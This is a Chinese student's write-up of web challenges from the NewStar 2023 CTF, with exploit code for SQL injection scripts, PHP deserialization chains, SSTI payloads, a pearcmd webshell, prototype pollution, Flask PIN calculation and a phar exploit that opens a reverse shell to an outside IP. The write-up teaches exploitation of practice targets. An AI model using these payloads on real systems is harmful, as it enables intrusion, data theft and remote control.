小阶段完成
前言 经过五周的比赛,恭喜NewStar2023(校内赛道)圆满结束了 ★,° :.☆( ̄▽ ̄)/$:.°★ 。
这里是Z1d10t的WEB方向题解
3题未解出 还是太菜了qwq
日后会更加努力!
WEEK1 ErrorFlask 报错之后能看到是flask框架的 然后就能得到源码
Begin of HTTP 正常考察请求头参数
Begin of Upload 前端检测绕过
泄漏的秘密 /www.zip源码泄露
Begin of PHP get:?key1[]=1&key2[]=2&key4[]=4&key5=2024%00
post:key3[]=3&flag5[]=1
R!C!E! 1 password=114514&e[v.a.l=var_dump(shell_exec('more /f*'));
EasyLogin 爆破的时候会获得一条一条的提示
1 2 3 4 5 The password is randomly selected from a list 这个密码恰如题目简介,一分不多,一分不少 Is your password weak?
一开始一直以为 这个密码恰如题目简介,一分不多,一分不少
的意思是密码9位 但是之后和出题人聊了之后 和这个根本没关系 只想表达是弱口令密码
密码是000000 当然记得要通过md5加密之后再爆破
登录然后放掉这个包 然后还会跳转到一个包 就能获得密码
WEEK2 游戏高手 修改得分即可
ez_sql 手动注个jb sqlmap一把梭就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sqlmap -u http: [*] ctf [*] information_schema [*] mysql [*] performance_schema [*] sys [*] test sqlmap -u http: grades | | here_is_flag sqlmap -u http: flag | varchar(255 ) sqlmap -u http:
Upload again! 考点:
很基础
Unserialize? 考点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class evil { private $cmd='nl /th1s_1s_fffflllll4444aaaggggg' ; public function __destruct () { if (!preg_match("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system($this->cmd) ; } } } $a = new evil (); echo urlencode (serialize($a) ); ?> #O%3A4%3A%22evil%22 %3A1%3A%7Bs%3A9%3A%22 %00evil%00cmd%22 %3Bs%3A33%3A%22nl+%2Fth1s_1s_fffflllll4444aaaggggg%22 %3B%7D
include 0。0 禁了base所以不能用常用的base64转码了 换种转码方式
1 ?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
再解码
1 2 3 4 <?php $str = "?<hp p//lfga5{719c28-e567c4-d9-1dab5e-7c6326be71}9" ;echo iconv ('UCS-2BE' , 'UCS-2LE' , $str) ; ?>
R!!C!!E!! 考点:
首先获得源码 得到/bo0g1pop.php
路由
得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__) ;if (';' === preg_replace('/[^\W]+\((?R)?\)/' , '' , $_GET['star' ])) { if (!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i' ,$_GET['star' ])){ eval($_GET['code' ]); } } GET /bo0g1pop.php?star=system(next(getallheaders())); HTTP/1.1 Host: 18e0aabc-695f -46fd-b4e2-3557e66a3cdc.node4.buuoj.cn:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: cat /flag Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
利用User-Agent字段进行构造rce
WEEK3 medium_sql 考察:
直接sqlmap level3梭哈或者自己写个脚本(沙贝是自己)
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport time url = 'http://3984f01f-9843-4df0-a21f-95a7eff68063.node4.buuoj.cn:81/' result='' for i in range (1 ,50 ) : low=31 high=127 mid = (low+high) while low<=high: paylaod = "TMP0929'And/**/0^(Ascii(Substr((Select(flag)from(ctf.here_is_flag)),{},1))>{})%23" .format(i,mid) #爆库爆数据语句差不多 关键字被ban大写绕过就行 r = requests.get(url+"?id=" +paylaod) if ("English" in r.text): low = mid+1 mid = (low+high) else : high = mid-1 mid = (low+high) result+=chr(high+1 ) time.sleep(0.3 ) print(result)
Include 考点:
根据提示
register_argc_argv
是on
那么register_argc_argv
是什么呢
简单说 register_argc_argv
开启时我们传入get的参数会被记录在$_SERVER
这个全局变量数组中
并且$argc变量是⽤于记录数组的⼤⼩ $argv变量是⽤于记录输⼊的参数
条件:
⽼版本(测试版本为5.2.17)默认为 On
新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off
我们要传入如果正常传入参数,数组的大小永远是1
如果要表示两个数组,需要用+隔开
来自:
https://www.shawroot.cc/1643.html
https://cloud.tencent.com/developer/article/2204400?areaId=106001
一般这个搭配pearcmd使用 写马到网站根目录下 然后包含rce即可
1 ?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/tmp/hello.php
记得要抓一次包重写一下一句话木马 不然会被转码导致不成功
POP Gadget 考点:
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php highlight_file (__FILE__) ;class Begin { public $name; public function __destruct () { if (preg_match("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { private $func; public function __toString () { ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj; public function __call ($func, $vars) { $this ->obj->end(); } } class Super { protected $obj; public function __invoke () { $this ->obj->getStr(); } public function end () { die("==GAME OVER==" ); } } class CTF { public $handle; public function end () { unset($this ->handle->log); } } class WhiteGod { public $func; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize($_POST['pop']) ;
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php class Begin { public $name; } class Then { private $func; public function __construct () { $this ->func = new Super (); } } class Handle { protected $obj; public function __construct () { $this ->obj = new CTF (); } } class Super { protected $obj; public function __construct () { $this ->obj = new Handle (); } } class CTF { public $handle; public function __construct () { $this ->handle = new WhiteGod (); } } class WhiteGod { public $func = 'system' ; public $var = 'cat /flag' ; } $a = new Begin (); $a->name = new Then (); echo urlencode (serialize($a) );
GenShin 考点:
抓包获得
一眼丁真flask ssti注入
直接当脚本小子
或者payload:
1 {%print(((g.pop.__globals__.__builtins__.__import__("os")["p""open"]("cat /flag")).read()))%}
R!!!C!!!E!!! 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__) ;class minipop { public $code; public $qwejaskdjnlka; public function __toString () { if (!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $this ->code)){ exec($this ->code); } return "alright" ; } public function __destruct () { echo $this ->qwejaskdjnlka; } } if (isset($_POST['payload' ])){ unserialize($_POST['payload' ]); }
payload:
反序列化套一下就行了
1 cat /flag|t\e\e /var/www/html/1
将读到的flag通过管道符用tee写道网站根目录下 然后访问
关键字通过反斜杠转义来绕过\
OtenkiGirl 考点:
我是傻逼 关键东西老是看不到
给了源码
根据提示我们只需要关注routes包下的内容即可 也不需要sql注入
info.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 const Router = require("koa-router" );const router = new Router ();const SQL = require("./sql" );const sql = new SQL ("wishes" );const CONFIG = require("../config" )const DEFAULT_CONFIG = require("../config.default" )async function getInfo (timestamp) { timestamp = typeof timestamp === "number" ? timestamp : Date.now(); let minTimestamp = new Date (CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime(); timestamp = Math.max(timestamp, minTimestamp); const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch (e => { throw e }); return data; } router.post("/info/:ts?" , async (ctx) => { if (ctx.header["content-type" ] !== "application/x-www-form-urlencoded" ) return ctx.body = { status: "error" , msg: "Content-Type must be application/x-www-form-urlencoded" } if (typeof ctx.params.ts === "undefined" ) ctx.params.ts = 0 const timestamp = /^[0 -9 ]+$/.test(ctx.params.ts || "" ) ? Number(ctx.params.ts) : ctx.params.ts; if (typeof timestamp !== "number" ) return ctx.body = { status: "error" , msg: "Invalid parameter ts" } try { const data = await getInfo (timestamp) .catch (e => { throw e }); ctx.body = { status: "success" , data: data } } catch (e) { console.error(e); return ctx.body = { status: "error" , msg: "Internal Server Error" } } }) module .exports = router;
submit.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 const Router = require("koa-router" );const router = new Router ();const SQL = require("./sql" );const sql = new SQL ("wishes" );const Base58 = require("base-58" );const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" ;const rndText = (length) => { return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('' ); } const timeText = (timestamp) => { timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString(); let text1 = timestamp.substring(0 , timestamp.length / 2 ); let text2 = timestamp.substring(timestamp.length / 2 ) let text = "" ; for (let i = 0 ; i < text1.length; i++) text += text1[i] + text2[text2.length - 1 - i]; if (text2.length > text1.length) text += text2[0 ]; return Base58.encode(rndText(3 ) + Buffer.from(text)); } const rndID = (length, timestamp) => { const t = timeText(timestamp); if (length < t.length) return t.substring(0 , length); else return t + rndText(length - t.length); } async function insert2db (data) { let date = String(data["date" ]), place = String(data["place" ]), contact = String(data["contact" ]), reason = String(data["reason" ]); const timestamp = Date.now(); const wishid = rndID(24 , timestamp); await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`, [wishid, date, place, contact, reason, timestamp]).catch (e => { throw e }); return { wishid, date, place, contact, reason, timestamp } } const merge = (dst, src) => { if (typeof dst !== "object" || typeof src !== "object" ) return dst; for (let key in src) { if (key in dst && key in src) { dst[key] = merge(dst[key], src[key]); } else { dst[key] = src[key]; } } return dst; } router.post("/submit" , async (ctx) => { if (ctx.header["content-type" ] !== "application/json" ) return ctx.body = { status: "error" , msg: "Content-Type must be application/json" } const jsonText = ctx.request.rawBody || "{}" try { const data = JSON.parse(jsonText); if (typeof data["contact" ] !== "string" || typeof data["reason" ] !== "string" ) return ctx.body = { status: "error" , msg: "Invalid parameter" } if (data["contact" ].length <= 0 || data["reason" ].length <= 0 ) return ctx.body = { status: "error" , msg: "Parameters contact and reason cannot be empty" } const DEFAULT = { date: "unknown" , place: "unknown" } const result = await insert2db (merge(DEFAULT, data) ); ctx.body = { status: "success" , data: result }; } catch (e) { console.error(e); ctx.body = { status: "error" , msg: "Internal Server Error" } } }) module .exports = router;
比较关键的就是这两个文件内容
简单审计一下
它会将我们提交的内容展示出来
并且会经过merge一个合并函数 熟人了
内容包括data,place,contact,reason,timestamp(时间戳)
那么在这里需要污染的点是什么呢
其实在这里给了提示
1 // Remove test data from before the movie was released
“他会删除电影上映前的数据”
也就是我们想要的数据在之前的时间里
再看上面||
条件语句 存在一个短路 默认min_public_time是2019-07-09
CONFIG.min_public_time默认是无的 不存在
如果CONFIG.min_public_time
有值那么短路就不会new default min_public_time
的值
那么就需要原型链污染去修改这个CONFIG.min_public_time
min_public_time
在config.default文件 然后被引入的 格式是这样的
只需要将这个时间改比它默认值小就行了
为什么呢 因为我们之前提交数据的时候会有一个时间戳 这个最小时间戳的生成是由这个CONFIG.min_public_time
影响的
1 2 let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime(); timestamp = Math.max(timestamp, minTimestamp);
所以修改CONFIG.min_public_time
就会修改最总时间戳 使其回到之前的时间就能将之前的数据读出来
然后根据代码逻辑 访问/info/一个小值
内容就被打印出来
WEEK4 More Fast 考点:
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class Start { public $errMsg; } class Pwn { public $obj; } class Reverse { public $func; } class Web { public $func; public $var; } class Crypto { public $obj; } class Misc {} $a = new Start (); $a->errMsg = new Crypto (); $a->errMsg->obj = new Reverse (); $a->errMsg->obj->func = new Pwn (); $a->errMsg->obj->func->obj = new Web (); $a->errMsg->obj->func->obj->var = "cat /f*" ; $a->errMsg->obj->func->obj->func = "system" ; echo serialize ($a); #O :5 :"Start" :1 :{s :6 :"errMsg" ;O :6 :"Crypto" :1 :{s :3 :"obj" ;O :7 :"Reverse" :1 :{s :4 :"func" ;O :3 :"Pwn" :1 :{s :3 :"obj" ;O :3 :"Web" :2 :{s :4 :"func" ;s :6 :"system" ;s :3 :"var" ;s :7 :"cat /f*" ;}}}}}
逃 一眼丁真 鉴定为反序列化字符串逃逸
考点:
从bad->good会多出一个字符 那么经过序列化->waf->反序列化就会有一个字符逃逸出来
举例执行whoami
将这一串塞入";s:3:"cmd";s:6:"whoami";}
那么就需要26个字符逃逸出来 那么就需要26个bad
paylaod:badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:6:"whoami";}
其他命令根据字符个数改相应的bad个数调整即可
payload:?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
flask disk 这道题我应该是非预期了
我的做法是 直接上传app.py 内容直接是python命令执行反弹shell
这样会覆盖题目的app.py 直接拿下
知识点:flask开启了debug模式下,app.py源文件被修改后会立刻加载。
PharOne 这道题太可惜了
一眼丁真就是phar反序列化利用
当时由于自己开了vpn 导致反弹shell一直过不来 错失良机
考点:
首先给了恶意类
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__);class Flag { public $cmd; public function __destruct ( ) { @exec ($this->cmd); } } @unlink ($_POST['file' ]);
先生成一个phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Flag { public $cmd; public function __destruct ( ) { @exec ($this->cmd); } } $a = new Flag (); $a->cmd = 'bash -c "bash -i >& /dev/tcp/8.130.34.53/7777 0>&1"' ; @unlink ("Z1d10t.phar" ); $phar = new Phar ("Z1d10t.phar" ); $phar->startBuffering (); $phar->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar->setMetadata ($a); $phar->addFromString ("test.txt" , "test" ); $phar->stopBuffering (); ?>
上传上去之后显示过滤了__HALT_COMPILER
可以通过gzip压缩绕过 来自:php(phar)反序列化漏洞及各种绕过姿势
然后还会检测上传文件后缀名以及mine
当然phar文件后缀名是无关紧要的 不是.phar
照样能解析
所以将打包的压缩包改为任意后缀名都行
然后注意这里phar://
协议要到Z1d10t.phar
上传上去之后file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/Z1d10t.phar
记得关vpn 哭死
InjectMe 考点:
首先是任意文件读取
1 /download?file=/app/app.py
获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import osimport refrom flask import Flask , render_template, request, abort, send_file, session, render_template_stringfrom config import secret_keyapp = Flask (__name__) app.secret_key = secret_key @app.route ('/' ) def hello_world (): # put application's code here return render_template(' index.html ') @app.route("/cancanneed", methods=["GET"]) def cancanneed(): all_filename = os.listdir(' ./static /img/') filename = request.args.get(' file', ' ') if filename: return render_template(' img.html ', filename=filename, all_filename=all_filename) else: return f"{str(os.listdir(' ./static /img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download", methods=["GET"]) def download(): filename = request.args.get(' file', ' ') if filename: filename = filename.replace(' ../', ' ') filename = os.path.join(' static /img/', filename) print(filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else: abort(500) else: abort(404) @app.route(' /backdoor', methods=["GET"]) def backdoor(): try: print(session.get("user")) if session.get("user") is None: session[' user'] = "guest" name = session.get("user") if re.findall( r' __|{{|class |base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval |:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.', name): abort(500) else: return render_template_string( ' 竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500) @app.errorhandler(404) def page_not_find(e): return render_template(' 404. html'), 404 @app.errorhandler(500) def internal_server_error(e): return render_template(' 500. html'), 500 if __name__ == ' __main__': app.run(' 0.0 .0 .0 ', port=8080)
发现/backdoor
可以进行ssti 但是先获取key
查看源码 可以发现secret是由config引进来的
1 from config import secret_key
读取key/download?file=/app/config.py
获得secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
最难绷的就是这个session里面进行ssti payload一多就会爆500错真的让人难绷
能不能对session的获取加个base64编解码。。。 真的会方便很多
还有session伪造的时候转义。。。。编个码吧
payload:{% print(config['_''_cl''ass_''_']['_''_in''it_''_']['_''_glo''bals_''_']['o''s']['pop''en']('head /y0*')['read']()) %}"}'
midsql 考点:
这个题目找到自己缺漏的地方了 没咋好好做过时间盲注
导致自己写的脚本注起来太慢了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport timeurl = 'http://fef1d48c-1c22-46b2-aba3-0d22fafc8c10.node4.buuoj.cn:81' result='' for i in range (1 ,50 ): low=31 high=127 mid = (low+high) while low<=high : paylaod = "1/**/And/**/if(ascii(substr((select/**/group_Concat(name)/**/from/**/ctf.items),{},1))/**/>/**/{},sleep(5),0)%23" .format (i,mid) #爆库:1 And if (ascii (substr (database (),{},1 ))>{},sleep (5 ),0 )%23 #报表:1 And if (ascii (substr ((selectgroup_concat (table_name)from information_schema.tables wheretable_schemalike'ctf' ),{},1 ))>{},sleep (5 ),0 )%23 #爆列:1 And if (ascii (Substr ((Select (group_Concat (column_name))from (Information _schema.columns )Where (table_namelike'items' )),{},1 ))>{},sleep (4 ),0 )%23 #爆数据: timestart = time.time () r = requests.get (url+"?id=" +paylaod) timeend = time.time () if (timeend - timestart >= 3 ): low = mid+1 mid = (low+high) else : high = mid-1 mid = (low+high) result+=chr (high+1 ) print (result)
通过时间差值来判断有时候会不准
最好通过捕获异常的方式进行判断会更准
更好的方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsfrom tqdm import trangeres = '' last = ' ' headers = { 'Host' : '32b8f193-b922-4f0d-a4e7-2228ad9174e3.node4.buuoj.cn:81' , 'Cache-Control' : 'max-age=0' , 'Upgrade-Insecure-Requests' : '1' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36' , 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' , 'Referer' : 'http://32b8f193-b922-4f0d-a4e7-2228ad9174e3.node4.buuoj.cn:81/' , 'Accept-Encoding' : 'gzip, deflate' , 'Accept-Language' : 'zh-CN,zh;q=0.9' } for i in trange (1 , 1000 ): for j in range (127 , 31 , -1 ): url = r'http://32b8f193-b922-4f0d-a4e7-2228ad9174e3.node4.buuoj.cn:81/?id=' # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf # payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)' # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)' # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)' # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)' payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)' url = url + payload # print (url) try : response = requests.get (url=url, timeout=3 ) except Exception as e : last = res # print (chr (j+1 )) res += chr (j+1 ) # print (res) break print ('[*] ' + res)
OtenkiBoy(未解出) 不太会 不想代码审计了qwq
WEEK5 Unserialize Again 考点:
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file (__FILE__);error_reporting (0 ); class story { private $user='admin' ; public $pass; public $eating; public $God='false' ; public function __wakeup ( ){ $this->user='human' ; if (1 ==1 ){ die (); } if (1 !=1 ){ echo $fffflag; } } public function __construct ( ){ $this->user='AshenOne' ; $this->eating='fire' ; die (); } public function __tostring ( ){ return $this->user.$this ->pass; } public function __invoke ( ){ if ($this->user=='admin' &&$this->pass=='admin' ){ echo $nothing; } } public function __destruct ( ){ if ($this->God =='true' &&$this->user=='admin' ){ system ($this->eating); } else { die ('Get Out!' ); } } } if (isset ($_GET['pear' ])&&isset ($_GET['apple' ])){ $pear=$_GET['pear' ]; $Adam=$_GET['apple' ]; $file=file_get_contents ('php://input' ); file_put_contents ($pear,urldecode ($file)); file_exists ($Adam); } else { echo '多吃雪梨' ; }
非预期 非预期了
由于没有控制路径
直接写马到网站根目录就行了
1 2 /pairing.php ?pear=/var/ www/html/a.php &apple=1 x=system ('cat /flllag' );
之后看看预期解学习
预期解 看了官方文档预期解来了
考察的phar重签名的知识点
首先恶意类利用很简单 只需要__wakeup和__destruct
即可
1 2 3 4 5 6 7 8 9 10 11 12 <?php class story { public $eating = 'cat /f*' ; public $God='true' ; } $phar = new Phar ("Z1d10t.phar" ); $phar->startBuffering (); $phar->setStub ("<php __HALT_COMPILER(); ?>" ); $o = new story (); $phar->setMetadata ($o); $phar->addFromString ("test.txt" , "test" ); $phar->stopBuffering ();
__wakeup
通过修改类属性个数绕过即可 这里就涉及到一个phar重签名的问题
因为我们的恶意payload是在phar文件中 生成phar之后修改类属性个数
按照官方WP
phar的最后有一段signature,是phar的签名,放在文件末尾,要注意因为我们修改了文件的内容,之前的签名就会无效,所以需要更换一个新的签名
修改签名脚本如下:
1 2 3 4 5 6 7 8 from hashlib import sha1with open ('Z1d10t.phar' , 'rb' ) as file : f = file.read () s = f[:-28 ] # 获取要签名的数据 h = f[-8 :] # 获取签名类型和GBMB 标识 newf = s + sha1 (s).digest () + h # 数据 + 签名 + (类型 + GBMB ) with open ('ChangedPhar.phar' , 'wb' ) as file : file.write (newf) # 写入新文件
然后将修改签名后的文件内容读出来url编码之后通过post传进去
再通过phar://
协议读取即可成功rce
但是我没复现成功 我反弹shell去看上传的文件内容也没错 但是就是不得解 不知道什么原因
用官方WP中的脚本 也不成功
Final 报错发现是thinkphp5.0.23 那么可以直接根据版本去找漏洞利用
这里当时为了抢一血直接用工具梭哈了
写马到网站根目录下 发现禁了system 那么我们用passthru或者exec等无回显函数都可以 反正我们要进行反弹shell
记得payload要url编码一下
发现权限不够 涉及提权 那一般是考察suid提权
看看哪些命令有suid
有cp 呢铁定是cp提权了
直接把内容复制到/etc/passwd 然后拿flag
pppython? 这道题目应该借鉴的是SCTF2023的pypyp?
考点:
ssrf
flask pin码计算
gopher协议
做这道题目之前庆幸学习了0xgame2023一道ssrf打redis主从复制题目
学习Aecous师傅的的WP:) 师傅太强力ORZ
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php if ($_REQUEST['hint' ] == ["your?" , "mine!" , "hint!!" ]){ header ("Content-type: text/plain" ); system ("ls / -la" ); exit (); } try { $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL , $_REQUEST['url' ]); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT , 60 ); curl_setopt ($ch, CURLOPT_HTTPHEADER , $_REQUEST['lolita' ]); $output = curl_exec ($ch); echo $output; curl_close ($ch); }catch (Error $x){ highlight_file (__FILE__); highlight_string ($x->getMessage ()); } ?>
首先根据题目获取提示
1 ?hint[]=your%3F&hint[]=mine!&hint[]=hint!!
拿到了/目录下的文件情况
可以醒目的发现app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 total 12 drwxr-xr-x 1 root root 51 Oct 22 15 :23 . drwxr-xr-x 1 root root 51 Oct 22 15 :23 .. -rwxr-xr-x 1 root root 0 Oct 22 15 :23 .dockerenv -rwxr-xr-x 1 root root 353 Oct 19 15 :52 app.py lrwxrwxrwx 1 root root 7 Nov 22 2021 bin -> usr/bin drwxr-xr-x 2 root root 6 Nov 8 2021 boot drwxr-xr-x 5 root root 360 Oct 22 15 :23 dev drwxr-xr-x 1 root root 66 Oct 22 15 :23 etc -rw------- 1 root root 43 Oct 22 15 :23 flag drwxr-xr-x 2 root root 6 Nov 8 2021 home lrwxrwxrwx 1 root root 7 Nov 22 2021 lib -> usr/lib lrwxrwxrwx 1 root root 9 Nov 22 2021 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Nov 22 2021 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Nov 22 2021 libx32 -> usr/libx32 drwxr-xr-x 2 root root 6 Nov 22 2021 media drwxr-xr-x 2 root root 6 Nov 22 2021 mnt drwxr-xr-x 2 root root 6 Nov 22 2021 opt dr-xr-xr-x 3110 root root 0 Oct 22 15 :23 proc drwx------ 1 root root 20 Oct 19 15 :52 root drwxr-xr-x 1 root root 21 Oct 19 15 :50 run lrwxrwxrwx 1 root root 8 Nov 22 2021 sbin -> usr/sbin drwxr-xr-x 2 root root 6 Nov 22 2021 srv -rwx------ 1 root root 241 Oct 19 15 :52 start.sh dr-xr-xr-x 13 root root 0 Sep 19 01 :23 sys drwxrwxrwt 1 root root 6 Oct 22 15 :23 tmp drwxr-xr-x 1 root root 19 Nov 22 2021 usr drwxr-xr-x 1 root root 17 Oct 19 15 :49 var
那么通过file伪协议去读取文件?url=file://127.0.0.1/app.py&lolita[]=1
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import Flask , request, session, render_template, render_template_stringimport os, base64#from NeepuF1Le import neepu_files app = Flask (__name__) app.config ['SECRET_KEY' ] = '******' @app.route ('/' ) def welcome (): if session["islogin" ] == True : return "flag{***********************}" app.run ('0.0.0.0' , 1314 , debug=True )1
可以看到我们要么能获取key伪造session 但是同时我们还得有地方去调用这个welcome函数才行
仔细观察它的debug是开启的 并且我们还可以读文件 那么一眼就知道是要去算pin码然后rce了 前面的内容只是噱头
计算pin码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' # /etc/passwd 'flask.app' , # 默认值 'Flask' , # 默认值 '/usr/local/lib/python3.10/dist-packages/flask/app.py' # 报错得到 ] private_bits = [ '112581235869047' , # /sys/class /net/eth0/address 十进制 '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-97ec80f5ebf7d07c5c79a4b57dd84c58bb32c866b6e3aed76ef252d246a07dc3.scope' #8cab9c97-85be-4fb4-9d17-29335d7b2b8a #docker-97ec80f5ebf7d07c5c79a4b57dd84c58bb32c866b6e3aed76ef252d246a07dc3.scope # 字符串合并:1. /etc/machine-id (docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup ] # 下面为源码里面抄的,不需要修改 h = hashlib.sha1 () for bit in chain (probably_public_bits, private_bits): if not bit : continue if isinstance (bit, str): bit = bit.encode ('utf-8' ) h.update (bit) h.update (b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest ()[:20 ] num = None if num is None : h.update (b'pinsalt' ) num = ('%09d' % int (h.hexdigest (), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join (num[x :x + group_size].rjust (group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
这里关于/proc/self/cgroup
这里的内容和我们一般做题时获取的不太一样 不过记住一点就行了
取第一行的最后一个斜杠/后面的所有字符串
那么肯定是对的
计算得pin码 397-838-235
接下来的思路就是 要通过gopher协议去访问内网中/console
路由并且进行RCE
但是由于debugmode的rce需要携带cookie 所以我们还需要去计算cookie
因为/console
是在内网的1314端口中 所以我们没法直接通过浏览器进入debug的控制台
这里就需要手算cookie了
方法参考:flask-pin 神![SCTF2023 Web WriteUp - Boogiepop Doesn’t Laugh](https://boogipop.com/2023/06/20/SCTF2023 Web WriteUp/)
发送验证pin码的请求
